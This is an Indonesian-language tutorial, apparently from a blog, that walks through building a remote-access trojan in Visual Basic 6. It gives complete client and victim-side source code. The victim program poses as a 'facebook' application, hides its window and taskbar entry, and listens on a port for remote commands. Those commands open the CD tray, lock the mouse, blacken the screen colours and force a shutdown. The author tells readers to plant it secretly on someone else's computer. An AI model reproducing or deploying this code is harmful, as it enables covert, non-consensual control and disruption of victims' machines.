Pernahkan anda mendengar kata spyware dan trojan ?
yahh spyware merupakan sejenis program yang dapat mencuri semua data di computer dengan cara merekam berbagai aktivitas kita di computer sedangkan Trojan adalah sebuah program atau berupa script yang dapat mengexploitasi system computer kita,
Sekarang banyak di pasaran spyware gratis tapi mengandung dan terdeteksi antivirus dan adapula yang memakai lisensi trial software,
anda tidak usah bingung, anda dapat membuat sendiri dengan bantuan Visual Basic 6.0, Untuk caranya silahkan ikuti intruksi berikut :
1.buat sebuah form di dalam project vb dengan atribut :
Nama : menu
Caption : Spy Hacker Tool
nama dan caption terserah anda
Tambahkan 3 buah picture lalu masukan imge yang brupa button dengan nama setting , about, exit.nah bila sudah selesai masukan listing program di bawah ini pada masing2 picture:
Pada picture1
Private Sub picture1_Click()
intro.Show
End Sub
Pada picture2
Private Sub picture2_Click()
about.Show
End Sub
Pada picture3
Private Sub picture3_Click()
end
End Sub
Fungsi form ini hanya sebagai menu pembuka saja
2.tambahkan sebuah form pada project vb tadi dengan atribut:
Nama : intro
BorderStyle : 2.Sizable
Caption : Spy Hacker Tool
3.Atur components control dengan aturan sebagai berikut:
Centang Microsoft windows common control 6.0 (sp6)
Lalu centang Microsoft winsock control 6.0
4.atur references dengan aturan sebagai berikut :
Centang Microsoft activex data objects 2.0 library
5.tambahkan komponen toolbar pada form intro dengan pengaturan propertis :
general
Imagelist: imagelist1
Button
Tambahkan 17 button pada toolbar dengan nama
Button1 caption: open
Button2 caption: close
Button3 caption: hide
Button4 caption: show
Button5 caption:tangkap
Button6 caption:normalisasi
Button7 caption:Gelap
Button8 caption:kill
Button9 caption: message
Button10 caption:racuni
Button11caption:keylongger active
Button 12caption:keylongger dactive
Button13caption:disablekeyboard
Button14caption:activekeyboard
Button15caption:info
Button16caption:minimize
Button17caption:exit
Image
Terserah anda yang penting sesuai dengan imagelist anda
Tooltipstext
Terserah anda
6.tambahkan komponen imagelist pada form intro
7.tambahkan komponen winsock pada from intro
8.tambahkan 1 komponen textbox dengan pengaturan atribut sebagai brikut:
text :
9.tambahkan 2 buah command button atur atribut sebagai berikut:
Button1
Nama:cmdkoneksi
Caption:konek
Button2
Nama:cmddiskonek
Caption:diskonek
10.tambahkan 4 buah label dengan pengaturan atribut sbagai berikut:
Label1
caption : koneksi
Label2
Caption : IP Address
Label3
Caption:
Label4
Caption:
11.tambahkan 2 buahmodul pada project dengan nama :
Client
opsiremoter
Setelah semua menu sudah siap silahkan buat listing program di bawah ini pada cmddiskonek :
Private Sub Cmddiskonek_Click()
Winsock1.Close
Label3.Caption = "Status : Diskonek Koneksi Telah Terputus"
End Sub
masukan listing programe di bawah ini pada cmdkonek :
Private Sub Cmdkonek_Click()
On Error GoTo pesan
Winsock1.Connect Main.ip.Text, 1304
Exit Sub
pesan:
MsgBox "Konksi ke Target Sasaran Gagal, slave/server Tidak aktif"
End Sub
masukan listing programe di bawah ini pada toolbar :
Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
Select Case Button.Index
Case 1
perintah "bukacdrom"
Case 2
perintah "tutupcdrom"
Case 3
perintah "umpetintaskbar"
Case 4
perintah "tunjukintaskbar"
Case 5
perintah "tangkaptikus"
Case 6
perintah "lepastikus"
Case 7
perintah "itemdeh"
Case 8
perintah "shutdown"
Case 9
Unload Me
End Select
End Sub
masukan listing programe di bawah ini pada komponen winsock :
Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
Dim DataMasuk As String
Main.Winsock1.GetData DataMasuk
OpsiRemoter.OpsiPerintah (DataMasuk)
End Sub
masukan listing programe di bawah ini pada modul client :
Public Sub perintah(data As String)
INTRO.Winsock1.SendData data$
End Sub
masukan listing programe di bawah ini pada modul opsiremoter :
Public Sub OpsiPerintah(ResponDariServer As String)
Select Case ResponDariServer
Case "Terkonek"
INTRO.Label4.Caption = "Status : Terkonek ke PC target"
GoTo Reset
Case "unknown"
MsgBox "Perintah Tidak Tersedia"
GoTo Reset
Case Else
MsgBox "????Apaan Tuh??"
GoTo Reset
End Select
10
Reset:
DoEvents
End Sub
Jika anda sudah selesai save as sebagai extension .exe setelah itu buatlah form untuk client dan buatlah semenarik mungkin sehingga mengundang rasa penasaran,
1.Tambahkan sebuah form atur atributnya menjadi :
Nama : main
Borderstyle:2sizable
Caption: facebook aplikasi
2.Tambahkan komponen timer pada form main
3.Tambahkan komponen winsock pada from main
4.Atur pengaturan komponen control nya dengan mencentang Microsoft winsock control 6.0
5.Tambahkan 1 buah button atur menjadi:
Caption: konek facebook
6.Tambahkan 3 buah modul atur nama masing2 modul menjadi:
Bukakoneksi
Fungsideklarasi
Opsitrojan
Nah setelah semua pengaturan di atas selesai.kini kita masuk ke tahap pengkodingan (listing programe)masukan listing programe di bawah ini pada form main :
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Me.Hide
bukakoneksi.mulaikoneksi
End Sub
masukan listing programe di bawah ini pada komponen winsock :
Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
Main.Winsock1.Close
Main.Winsock1.Accept requestID
perintahserver "Terkonek"
End Sub
Masukan listing programe di bawah ini pada komponen winsock dengan procedure : dataarrival
Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
Dim ServerTrojan As String
Main.Winsock1.GetData ServerTrojan
OpsiTrojan.PerintahTrojan (ServerTrojan)
End Sub
Masukan listing programe di bawah ini pada komponen timer :
Private Sub timer1_Timer()
X = 0 And goRight = False
Y = 0 And goUp = False
SetCursorPos X, Y
End Sub
Masukan listing programe di bawah ini pada modul bukakoneksi :
Public Sub mulaikoneksi()
mulai:
Main.Winsock1.LocalPort = 1304
Main.Winsock1.Listen
End Sub
Public Sub perintahserver(data As String)
Main.Winsock1.SendData data$
End Sub
Masukan listing programe di bawah ini pada modul fungsi deklarasi :
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVallpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long
'lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long
Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long 'untuk kerjain
mouse
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessageA Lib "user32" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByValwParam As Integer, lParam As Any) As Long
'wParam As Integer, lParam As Any) As Long
Public Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByValwMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVallpWindowName As String) As Long
'lpWindowName As String) As Long
Public Declare Function FindWindowA Lib "user32" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Integer
'As Integer
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByValhWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
'hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
'Long
Public Declare Function setsyscolors Lib "user32" Alias "SetSysColors" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long
'Long, lpColorValues As Long) As Long
Public Const SW_SHOW = 5
Public Const SW_RESTORE = 9
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const WM_SYSCOMMAND = &H112&
'Untuk sembunyikan Taskbar window
Function Hide_TaskBar()
ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_HIDE
End Function
'Untuk mengembalikan Taskbar window
Function Show_TaskBar()
ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_SHOW
End Function
'Maksa log off/reboot
Public Sub Win_ForceShutdown()
ExitWindowsEx EWX_FORCE, 0
End Sub
'Ngubah warna desktop
Sub Change_Colors(Num As Long, COLOR As Long)
setsyscolors 1, Num, COLOR
End Sub
Masukan listing programe di bawah ini pada modul printah Trojan:
Public Sub PerintahTrojan(newdata As String)
Select Case newdata
Case "bukacdrom"
fungsi = mciSendString("set cdaudio door open", 0&, 0, 0)
GoTo Reset
Case "tutupcdrom"
fungsi = mciSendString("set cdaudio door closed", 0&, 0, 0)
GoTo Reset
Case "umpetintaskbar"
FungsiDeklarasi.Hide_TaskBar
GoTo Reset
Case "tunjukintaskbar"
FungsiDeklarasi.Show_TaskBar
GoTo Reset
Case "shutdown"
FungsiDeklarasi.Win_ForceShutdown
GoTo Reset
Case "itemdeh"
FungsiDeklarasi.Change_Colors 1, vbBlack
FungsiDeklarasi.Change_Colors 2, vbBlack
FungsiDeklarasi.Change_Colors 3, vbBlack
FungsiDeklarasi.Change_Colors 4, vbBlack
FungsiDeklarasi.Change_Colors 5, vbBlack
FungsiDeklarasi.Change_Colors 8, vbBlack
FungsiDeklarasi.Change_Colors 10, vbBlack
FungsiDeklarasi.Change_Colors 11, vbBlack
FungsiDeklarasi.Change_Colors 13, vbBlack
FungsiDeklarasi.Change_Colors 15, vbBlack
FungsiDeklarasi.Change_Colors 16, vbBlack
FungsiDeklarasi.Change_Colors 17, vbBlack
FungsiDeklarasi.Change_Colors 18, vbBlack
FungsiDeklarasi.Change_Colors 19, vbBlack
FungsiDeklarasi.Change_Colors 20, vbBlack
FungsiDeklarasi.Change_Colors 21, vbBlack
FungsiDeklarasi.Change_Colors 23, vbBlack
FungsiDeklarasi.Change_Colors 24, vbBlack
FungsiDeklarasi.Change_Colors 27, vbBlack
FungsiDeklarasi.Change_Colors 28, vbBlack
GoTo Reset
Case "tangkaptikus"
Main.timer1.Enabled = True
GoTo Reset
Case "lepastikus"
Main.timer1.Enabled = False
GoTo Reset
Case Else
PerintahTrojan "???"
GoTo Reset
End Select
Reset:
DoEvents
End Sub
Nahhh anda bisa save as juga dengan .exe lalu anda simpan di computer client dengan cara copy di desktop secara diam-diam
